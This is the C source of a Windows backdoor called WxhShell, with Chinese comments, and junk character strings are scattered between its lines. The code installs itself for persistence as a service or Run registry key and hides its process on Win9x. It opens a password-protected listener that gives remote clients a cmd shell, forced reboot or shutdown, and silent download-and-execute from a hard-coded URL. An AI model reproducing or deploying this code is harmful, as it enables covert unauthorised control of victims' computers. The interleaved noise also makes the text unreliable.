if(NULL == hInst ) return 0; LheFQ A $.pTB(tO g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NmJ`?-Z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OTj,O77k NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ._?V%/ %SAw;ZtQ: if (!NtQueryInformationProcess) return 0; `OqM8U
@ ;j{7!GeKa hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GF8 -_X if(!hProcess) return 0; sYJL-2JX C5|db{=\.* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <47k@Ym WmeKl CloseHandle(hProcess); s=Df ` }Dn^d}?s|| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HTV ~ ?E if(hProcess==NULL) return 0; H3, ut 8-m
3e HMODULE hMod; K/txD20
O| char procName[255]; LXj5R99S unsigned long cbNeeded; 8$0\J _ wJe?t$ac? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %%%S"$t gY(1,+0- CloseHandle(hProcess); `0{ S3v 5,1{Tv` if(strstr(procName,"services")) return 1; // 以服务启动 U&UKUACn" Bq@zaMv return 0; // 注册表启动 iib } 5u r)uz]w8 UZGDdP // 主模块 }g|nz8 int StartWxhshell(LPSTR lpCmdLine) $IVwA { "X04mQn15 SOCKET wsl; 8Hi!kc;f6> BOOL val=TRUE; ^rL_C}YBj- int port=0; %y&]'A struct sockaddr_in door; <_Eg?ePW#
%v+=;jw if(wscfg.ws_autoins) Install(); lwT9~Hyp D'b#,a;V port=atoi(lpCmdLine); %T!J$a)qf ?P/AC$:|I if(port<=0) port=wscfg.ws_port; 6BocGo({ tu0aD%C WSADATA data; \}5p0.= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d,0 }VaY=D PE"v*9k if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {^}0 G^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]E3<UR door.sin_family = AF_INET; .$!{-v[ door.sin_addr.s_addr = inet_addr("127.0.0.1"); eS'yGY0b door.sin_port = htons(port); fKHE;A*>% GaekFbW) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y<- _(^ closesocket(wsl); JBC$Ku return 1; =WG=C1Z } EH n"n"Y I7n3xN&4" if(listen(wsl,2) == INVALID_SOCKET) { !2tW$BP^ closesocket(wsl); 3GH(wSv9\ return 1; k`\R+WK$ } ]ikomCg Wxhshell(wsl); -r<#rITH" WSACleanup(); 4-R^/A0 N@xg:xr return 0; -.IEgggf 6/Fzco#N } R"AUSO|{ 52d^K0STC // 以NT服务方式启动 C[uOReo VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kW@,$_cK { w%y\dIeI' DWORD status = 0; ?F7o!B DWORD specificError = 0xfffffff; C/=XuKE-t +GF#?X0^ serviceStatus.dwServiceType = SERVICE_WIN32; 'zZcn" +! serviceStatus.dwCurrentState = SERVICE_START_PENDING; $w#r"= ) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -|S]oJy serviceStatus.dwWin32ExitCode = 0; LD>\#q8a* serviceStatus.dwServiceSpecificExitCode = 0; 5fJ[}~ serviceStatus.dwCheckPoint = 0; 4)6xU4eBaL serviceStatus.dwWaitHint = 0; _[K"gu DgHaOAdU hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3;[DJ5 if (hServiceStatusHandle==0) return; (`BSVxJH Q`%R[# status = GetLastError(); lrWQOYf2 if (status!=NO_ERROR) FV39QG4b4 { 4|?{VQ serviceStatus.dwCurrentState = SERVICE_STOPPED; Oakb' serviceStatus.dwCheckPoint = 0; $wB^R(f@ serviceStatus.dwWaitHint = 0; bFS>) serviceStatus.dwWin32ExitCode = status; Bux [6O% serviceStatus.dwServiceSpecificExitCode = specificError; Hr<o!e{Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); px;/8c- return; U]|agz> } E.`U`L qZv
= serviceStatus.dwCurrentState = SERVICE_RUNNING; laKuOx} serviceStatus.dwCheckPoint = 0; '8 Ztj serviceStatus.dwWaitHint = 0; (ll*OVL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iRV~Il#~! } FR[ B v uX/$CM // 处理NT服务事件,比如:启动、停止 ;%C'FV e] VOID WINAPI NTServiceHandler(DWORD fdwControl) v``-F(i$ { )E#2J$TD switch(fdwControl) =sJ
_yq0#R { [,RI-#n case SERVICE_CONTROL_STOP: 3REx45M2 serviceStatus.dwWin32ExitCode = 0; DQ#H,\^< serviceStatus.dwCurrentState = SERVICE_STOPPED; I` K$E/ns serviceStatus.dwCheckPoint = 0; O,2~"~kF serviceStatus.dwWaitHint = 0; i':i_kU { gi/@j SetServiceStatus(hServiceStatusHandle, &serviceStatus); $2^`Uca } + @9.$6N return; &,\=3' case SERVICE_CONTROL_PAUSE: V
r(J+1@ serviceStatus.dwCurrentState = SERVICE_PAUSED; !" #9<~Q,p break; <h).fX case SERVICE_CONTROL_CONTINUE: PNOGN|D serviceStatus.dwCurrentState = SERVICE_RUNNING; "\W-f break; =J-5.0Q\_\ case SERVICE_CONTROL_INTERROGATE: kum#^^4G| break; ^N}Wnk7ks' }; b-U
eIjX SetServiceStatus(hServiceStatusHandle, &serviceStatus); =L|tp%! } J_;N:7'p w%AcG~`j!B // 标准应用程序主函数 KlV:L 4a~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C?ib_K* { 1"7Sy3 xkNyvqcw // 获取操作系统版本 Rlnbdb;!k OsIsNt=GetOsVer(); :A
%^^F% GetModuleFileName(NULL,ExeFile,MAX_PATH); ?bZovRx \!vN // 从命令行安装 gWABY%!} if(strpbrk(lpCmdLine,"iI")) Install(); v~3B:k:?l S{4z?Ri, ' // 下载执行文件 ?\KM5^eX if(wscfg.ws_downexe) { Hs?e0Z=N if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E!BPE> WinExec(wscfg.ws_filenam,SW_HIDE); 7]xm2CHx5 } Pg9hW t^]$!H if(!OsIsNt) { fkSO( C) // 如果时win9x,隐藏进程并且设置为注册表启动 /-bF$)vN HideProc(); ^D^4
YJz StartWxhshell(lpCmdLine); 8.'#?]a } KrVcwAcq|1 else ^-mRP\5 if(StartFromService()) S##1GOO // 以服务方式启动 WwH+E]^e+ StartServiceCtrlDispatcher(DispatchTable); SG}V[Glk else
~>O) // 普通方式启动 6qN~/TnHZ StartWxhshell(lpCmdLine); S po?i.# ~ ~uAc_ return 0; ETp%s{8 } y@2epY?{ I? THa< alh >"9~! `Y-|H;z =========================================== o1&:ry -<jL~][S v_e9}yI 5aad$f k#[F` (b?{xf'G " +3s%E{ M(#m0xB #include <stdio.h> u2oKH{/z #include <string.h> ikWtC]y #include <windows.h> DeR='7n #include <winsock2.h> PH"hn] #include <winsvc.h> Vpy 2\wZWb #include <urlmon.h> DG4d"Jy #;n+YM">: #pragma comment (lib, "Ws2_32.lib") G?f\>QSZ #pragma comment (lib, "urlmon.lib") q$1PG+- ]yjl~3 #define MAX_USER 100 // 最大客户端连接数 9/+Nj / #define BUF_SOCK 200 // sock buffer :o:e,WKxb #define KEY_BUFF 255 // 输入 buffer %WqNiF0- {`2R,Jb%S #define REBOOT 0 // 重启 E?(xb B #define SHUTDOWN 1 // 关机 o=FE5"t eC5 $#,HiC #define DEF_PORT 5000 // 监听端口 ^pM+A6
XY + <,gB $j #define REG_LEN 16 // 注册表键长度 NmMIQ@K #define SVC_LEN 80 // NT服务名长度 ;8!Z5H %uv?we7 // 从dll定义API u%'\UmE w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .2J
L$" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VMoSLFp^R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jx acg^c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v]__%_ ?+T^O?r|O // wxhshell配置信息 >]o}}KF? struct WSCFG { .0R v(Y int ws_port; // 监听端口 s2j['g5 char ws_passstr[REG_LEN]; // 口令 ngj,x7t int ws_autoins; // 安装标记, 1=yes 0=no )%!XSsY.N| char ws_regname[REG_LEN]; // 注册表键名 fgihy char ws_svcname[REG_LEN]; // 服务名 FU=w(< R; char ws_svcdisp[SVC_LEN]; // 服务显示名 Ra*e5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 kB5.(O char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NrP0Ep%V int ws_downexe; // 下载执行标记, 1=yes 0=no p ?wI9GY char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '`1CBU$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (98Nzgxgx} :eo }; CK,
6ytB {'16:dTJ // default Wxhshell configuration '!f5?O+E struct WSCFG wscfg={DEF_PORT, R |KD&!~Z "xuhuanlingzhe", (C]o,7cYS 1, 29XL$v], "Wxhshell", ?FfC "Wxhshell", wP"dZagpj "WxhShell Service", Qr
Wj>uR "Wrsky Windows CmdShell Service", K't]n{$ "Please Input Your Password: ", bQ|V!mrN} 1, 1s1=rZ! "http://www.wrsky.com/wxhshell.exe", xkOpa,=FI "Wxhshell.exe" y4+;z2'> }; RpLE
02U |yo\R{&6 // 消息定义模块 V.wqZ {G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 64:fs?H char *msg_ws_prompt="\n\r? for help\n\r#>"; $%VuSrZ& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qp`gswvE char *msg_ws_ext="\n\rExit."; U-n;xX0= char *msg_ws_end="\n\rQuit."; AyMd:5; char *msg_ws_boot="\n\rReboot..."; dg4vc][ char *msg_ws_poff="\n\rShutdown..."; Vf(6!iRP@ char *msg_ws_down="\n\rSave to "; Wu)>U R *F l8
char *msg_ws_err="\n\rErr!"; jD7Nb lX char *msg_ws_ok="\n\rOK!"; tpuYiL @29U@T char ExeFile[MAX_PATH]; |d6T/Uxo int nUser = 0; :_M;E"9R HANDLE handles[MAX_USER]; d;n."+=[x int OsIsNt; a~8[<F omj wgd /(8d SERVICE_STATUS serviceStatus; uYr fm:4S SERVICE_STATUS_HANDLE hServiceStatusHandle; MQin"\ @3kKJ // 函数声明 V`@>MOw^d int Install(void); O{ /q-~_ int Uninstall(void); JI vo_7{ int DownloadFile(char *sURL, SOCKET wsh); H4]Ul
eU int Boot(int flag); zSb PW6U void HideProc(void); :kfp_o+J int GetOsVer(void); l3 DYg int Wxhshell(SOCKET wsl); 1#1 riM - void TalkWithClient(void *cs); u+{a8= int CmdShell(SOCKET sock); i1RiGS int StartFromService(void); 3P;>XGCxZ int StartWxhshell(LPSTR lpCmdLine); dK>7fy;mv trE{ FT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZcYh) HD VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]r_;dY a aM4k *|H? // 数据结构和表定义 9(":,M(/o SERVICE_TABLE_ENTRY DispatchTable[] = {&Q9"C { h,"4SSL {wscfg.ws_svcname, NTServiceMain},
^eoLAL {NULL, NULL} tnLAJ+-M }; F`9]=T0 U!Ek' // 自我安装 H:"maS\I int Install(void) =N 5z@;! {
1!>Jpi0 char svExeFile[MAX_PATH]; *-xU2 HKEY key; fw[y+Bi&
? strcpy(svExeFile,ExeFile); Qyy.IPTP kY'T{Sm1^ // 如果是win9x系统,修改注册表设为自启动 LiKxq=K if(!OsIsNt) { `mN4_\] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MTUn3;c/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6d+p7x RegCloseKey(key); Afk$?wkL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yV^s,P1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t'ZWc\ RegCloseKey(key); )aX,% yK return 0; 6S~sVUL9` } V%Sy"IG } VU@9@%TN }
P\_` else { V <bd;m ;V<fB/S.=+ // 如果是NT以上系统,安装为系统服务 ]KJj6xn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R i^[i}
if (schSCManager!=0) tr7<]Hm: { i E CrI3s SC_HANDLE schService = CreateService ~/*MY ( g(4xC7xK6 schSCManager, 1T[et- wscfg.ws_svcname, &d|r~NhP wscfg.ws_svcdisp, (64yg SERVICE_ALL_ACCESS, r7',3V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p ]d]QMu SERVICE_AUTO_START, ~9j%Hm0ht SERVICE_ERROR_NORMAL, ?@V[#. svExeFile, FHV-BuH5 NULL, ^+g$iM[`f NULL, jRL<JZ1N NULL, H#ncM~y* NULL, L5,NP5RC NULL -{ZWo:,r~q ); __.+s32SS$ if (schService!=0) 4^URX>nx8 { QVtQx>K` CloseServiceHandle(schService); 9V5-%Iv CloseServiceHandle(schSCManager); ooQQ-?"m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NC38fiH_N strcat(svExeFile,wscfg.ws_svcname); 7.`fJf? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 73){K?R RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x7$}8LZ"B RegCloseKey(key); y:6; LZ9[ return 0; _8E/)M } &%-73nYw } N ,z6y5Lu CloseServiceHandle(schSCManager); >vA2A1WhW } Jkek-m } pxa( 4]E3cAJ return 1; qT^I?g"! } Ng_!zrx04 )Eo)t> // 自我卸载 K>{T_) { int Uninstall(void) `*shF9.\C { :ijAqfX HKEY key; "
W|%~h ~sXcnxLz if(!OsIsNt) { D"D<+
;S# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Sh#_\x RegDeleteValue(key,wscfg.ws_regname); d N$Tf RegCloseKey(key); R47\Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 15sp|$&` RegDeleteValue(key,wscfg.ws_regname); rh^mJUh RegCloseKey(key); r3PT1'P?L return 0; ^-
d%r } -(=eM3o-9m } 3p'I5,} } Cid
;z else { GmP@;[H" 8Q'0h
m? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {yExQbN if (schSCManager!=0) %QP0 { 2=^m9% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n<u
$=H if (schService!=0) X)% A6M { [D4Es if(DeleteService(schService)!=0) { >j QWn@ CloseServiceHandle(schService); J7g8D{4 CloseServiceHandle(schSCManager); \QCJ4}\CS return 0; Dbz3;t } ^t#&@-'(d CloseServiceHandle(schService); $\U4hHOo } c-0#w= CloseServiceHandle(schSCManager); >o=-$gz` } #}y2)g } BGX.U\uc sdo[D return 1; k1D@fiz } 3(,?S$> rQ qW_t% // 从指定url下载文件 w {3<{ int DownloadFile(char *sURL, SOCKET wsh) )z28=%g { A nX%[W " HRESULT hr; e\:+uVzz char seps[]= "/"; FFEfI4&SfS char *token; W*I(f]8:y` char *file; ?o|f': char myURL[MAX_PATH]; e0,|Wm char myFILE[MAX_PATH]; q}?4f*WC ys kO strcpy(myURL,sURL); Z'7 token=strtok(myURL,seps); P`cq H(
while(token!=NULL) ?BZ PwGMs { I<6P; file=token; ~G6Ox)/ token=strtok(NULL,seps); Vo'T!e- B } 2|*JSU.I
z\%67C GetCurrentDirectory(MAX_PATH,myFILE); 1 P!Yxeh strcat(myFILE, "\\"); ~
r438& strcat(myFILE, file); M]2]\km send(wsh,myFILE,strlen(myFILE),0); !*B'?|a<\ send(wsh,"...",3,0); |}di&y@-JI hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MjC_ ( cs if(hr==S_OK) F}/S:(6LF2 return 0; o9dY9o+Z else '$ t return 1; I!Z_[M lrIjJ
V } waj0"u^# =E#%'/ A;c // 系统电源模块 2KYw}j|5 int Boot(int flag) S(*sw
0O@+ { %_%Q8,W HANDLE hToken; #W.#Hjpp TOKEN_PRIVILEGES tkp; 2Tp1n8FV M:[ %[+6 if(OsIsNt) { I7n"&{s"* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (<xfCH
F5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9 %I?).5 tkp.PrivilegeCount = 1; r
w2arx tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GkTiDm? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CU@Rob} s if(flag==REBOOT) { ?FpWvyz| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 67G?K;)e return 0; Zy?Hi` } l:,'j@% else { ?!d&E?9\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E^/t$M|H return 0; tne ST. } L"1}V } /)}q Xx& else { PuA9X[= if(flag==REBOOT) { K1+)4!}%U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TE7nJ gm return 0; L>aLqQ3 } _4U5 else { ?kH8Lw~{5W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z8@J`0x return 0; xRzFlay8 } 1q:2\d] } jZ~n[
f+Q 2q=AEv/ return 1; PGhY>$q>b } bB1UZ O i%#+\F.& // win9x进程隐藏模块 !h23cj+V void HideProc(void) J\:R|KaP<p { 7WkB>cn [6%VRqY HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^cP!\E-^ if ( hKernel != NULL ) ;Q OBBF3HG { g"p%C:NN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4~Vx3gEV: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =JK@z FreeLibrary(hKernel); %,}A@H, } 8QLj[" pz\
+U7 return; Bn#?zI } j7$e28|_n
!sQY&* // 获取操作系统版本 {GK;63`1 int GetOsVer(void) j<VFn~*_ { v1+3}5b'uF OSVERSIONINFO winfo; mD$A4Y-'p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >~[c|ffyo/ GetVersionEx(&winfo); H8Bs<2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :t8b39 return 1; @"Fme-~ else s%nUaWp~ return 0; %et }A93 } .oYl-.E>& Sq/
qu-%X // 客户端句柄模块 =jOv] / int Wxhshell(SOCKET wsl) c[wla<dO* { Rg\z<wPBG SOCKET wsh; fk6%XO struct sockaddr_in client; A+ZK4]xb DWORD myID; )wam8k5 &:9cAIe]H while(nUser<MAX_USER) =.f-w0V { ;c-(ObSm int nSize=sizeof(client); K6v6ynp/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &C,'x4c" if(wsh==INVALID_SOCKET) return 1; ZM!CaR 9kN}c<o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B(LWdap~ if(handles[nUser]==0) ~:kZgUP_f closesocket(wsh); S;3R S; else /YP{,#p nUser++; sJ;g$TB } -3t7* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \qdHX s C%&cRQD return 0; #>b3"[ | } Neq+16*u D/Z6C&/I // 关闭 socket &=Ar void CloseIt(SOCKET wsh) ,<n}W+3 { @r/#-?W closesocket(wsh); jVv0ST*z nUser--; ieDk ; ExitThread(0); \r;#g{
_ } Vwg|K| L[oui,}_ // 客户端请求句柄 D.B.7-_8 void TalkWithClient(void *cs) s@&`f{ { rdl;M>0@ y I HXg# SOCKET wsh=(SOCKET)cs; _E &A{HkJ char pwd[SVC_LEN]; 8n#HFJ~ char cmd[KEY_BUFF]; [;4g char chr[1]; GY6`JWk int i,j; .b3Qfxc> ?*[N_'2W+ while (nUser < MAX_USER) { NPhhD&W_ W98i[Q9A7 if(wscfg.ws_passstr) { 8p^bD}lN7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cv-PRH# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?]|\4]zV //ZeroMemory(pwd,KEY_BUFF); / ;$#d}R i=0; yzbx . while(i<SVC_LEN) { CJ/X}hi, x5,++7Tz // 设置超时 9_# >aOqL fd_set FdRead; 7`-Zuf struct timeval TimeOut; J`peX0Stl FD_ZERO(&FdRead); %+@O#P FD_SET(wsh,&FdRead); ypbe!Y<i] TimeOut.tv_sec=8; m!|kW{B#A TimeOut.tv_usec=0; 5L+>ewl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _GXk0Ia3` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j~2{lCT j`JMeCG=Ee if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IpINH3odT pwd=chr[0]; %q/62f7? if(chr[0]==0xd || chr[0]==0xa) { L"E7#} pwd=0; <;9I@VYK break; 0IwA#[m1` } :#LLo}LKp i++; T%.8'9 } !*s?B L iqC|G/ // 如果是非法用户,关闭 socket RY]#<9>M if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `>7;! } chcbd
y>C 14Xqn8uOW send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6_J$UBT send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Ew]uN>, 8UXjm_B^' while(1) { @)UZ@ ~R ^ssK ZeroMemory(cmd,KEY_BUFF); lW+\j3?Z$ :}Xll#.,m // 自动支持客户端 telnet标准 O!mvJD j=0; 5QW=&zI`= while(j<KEY_BUFF) { `_BNy=`s* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fL_4uC i\ cmd[j]=chr[0]; #^`4DhQ/
1 if(chr[0]==0xa || chr[0]==0xd) { w,.+IV$Kk cmd[j]=0; "W=AB& break; NaPt"G }
;9[fonk j++; <L mIK } O}+.U<V
NO~*T?&
// 下载文件 Uddr~2%( if(strstr(cmd,"http://")) { p31NIf` send(wsh,msg_ws_down,strlen(msg_ws_down),0); VvvRRP^q if(DownloadFile(cmd,wsh)) 4H,`]B8(D send(wsh,msg_ws_err,strlen(msg_ws_err),0); n(b(yXYm] else 4~k\j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J4QXz[dG } bt"W(m&f else { ~T ]m>A! 88VZR&v switch(cmd[0]) { ^"VJd[Hn W}3.E "K // 帮助 "8c@sHk(w case '?': { 1%EBd%`# send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xe#FUS
3 break; yyoqX"v[ } nc~F_i= // 安装 GS0;bI4ay case 'i': { o}$XH,-9& if(Install()) aK&b{d send(wsh,msg_ws_err,strlen(msg_ws_err),0); j K!Au else '= _/ 1F*q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NiWa7 /Hr break; ;'?l$
._ } G,$PV
e* // 卸载 ZO!I. case 'r': { Qt iDTr if(Uninstall()) &%8'8,. send(wsh,msg_ws_err,strlen(msg_ws_err),0); R%Qf7Q else :H7D~ n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "JVkVp[5D+ break; ]=.\-K } ?i)f^O // 显示 wxhshell 所在路径 l,R/Gl case 'p': { XxT#X3D/," char svExeFile[MAX_PATH]; qd9c I& strcpy(svExeFile,"\n\r"); $$D}I*^Dt strcat(svExeFile,ExeFile); +awW3^1Ed send(wsh,svExeFile,strlen(svExeFile),0); Da&vb
D-Bg break; ,LTH;<zB) } n1qQ+(xC // 重启 d_AK`wR case 'b': { yW+yg{Gg: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +!k&Yje if(Boot(REBOOT)) H9KKed47d/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); N8!cO[3Oh else { {s)+R[?m<o closesocket(wsh); q`|LRz&al ExitThread(0); x9$` W } ~3UQ|j break; {p)",)td } #,S0HDDHn // 关机 B||*.`3gN case 'd': { Mx6@$tQ% send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M^MdRu if(Boot(SHUTDOWN)) e`@ # *}A send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:t]"d}} else { 4FEk5D closesocket(wsh); X-
pqw~$ ExitThread(0); 7q?9Tj3 } F|F]970 break; $i&e[O7T; } O>qll6]{@ // 获取shell `D>S;[~S7 case 's': { ~Cl){8o CmdShell(wsh); JCz@s~f\y closesocket(wsh); F
;{n"3< ExitThread(0); .EpV;xq} break; Cnnh7` } E>&n.% // 退出 %dJX-sm@ case 'x': { 7x#Ckep:I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bIGHGd CloseIt(wsh); 4Yxo~ m( break; ML:Q5 ^` } xHoKo // 离开 W [Of|? case 'q': { /rg*p send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]NjX?XdX< closesocket(wsh); O>SLOWgha WSACleanup(); f_[<L exit(1); q:l>O5 break; L/wD7/ODr } e@c0WlWa } 7P"| J\ } c#a@n 4 anIAM // 提示信息 E8>Rui@9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >G);j@Q } g1XZ5P} f } zEs>b(5u q+P|l5_
t return; aT_&x@x } >fe-d#!{ umD!2
w // shell模块句柄 AP[|Ta int CmdShell(SOCKET sock) %R@X>2l/_ { T^:UBjK6t{ STARTUPINFO si; &f!z1d-qg? ZeroMemory(&si,sizeof(si)); bx<RV7>0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6WV\}d: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GMMp|WV| PROCESS_INFORMATION ProcessInfo; 5:O-tgig. char cmdline[]="cmd"; }~#pEX~j* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Em?d*z return 0; JXCCTUO } ~3WM5 fv 8dV=[+ // 自身启动模式 y|CP;:f; int StartFromService(void) EPS={w$'s { W.z;B< typedef struct lCAIK { QF{4/y^j{ DWORD ExitStatus; %{YN70/ DWORD PebBaseAddress; ;w'D4p= P DWORD AffinityMask; [`p=(/I&L DWORD BasePriority; MxWy*|J} ULONG UniqueProcessId; bSsh^Z ULONG InheritedFromUniqueProcessId; *\=.<|H Z } PROCESS_BASIC_INFORMATION; ~GTz:nC* h]og*( PROCNTQSIP NtQueryInformationProcess; 4$qWiG~ ELBa}h; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,z3{u162 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "J+3w ~2<7ZtV= HANDLE hProcess; ]d,S749(s PROCESS_BASIC_INFORMATION pbi; >2~+.WePu uvtF_P/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .{ 44a$) if(NULL == hInst ) return 0; [!} :KD2yX %FXfqF9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ObLly%|i g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I"Ms-zs NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r)Ap8?+ V2$h8\a if (!NtQueryInformationProcess) return 0; !6s"]WvF b'J'F;zh> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t=_J9| if(!hProcess) return 0; )jkXSTZ dYSr4pb if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \cC%!4 AK\$i$@6 CloseHandle(hProcess); {z(xFrY .uyGYj-C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =Vy`J)z9 if(hProcess==NULL) return 0; ^&bRX4pYo vr0WS3 HMODULE hMod; |AcRIq char procName[255]; fRy^Q_~, unsigned long cbNeeded; -:30:oq ~n[xtWO0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 70f Klp
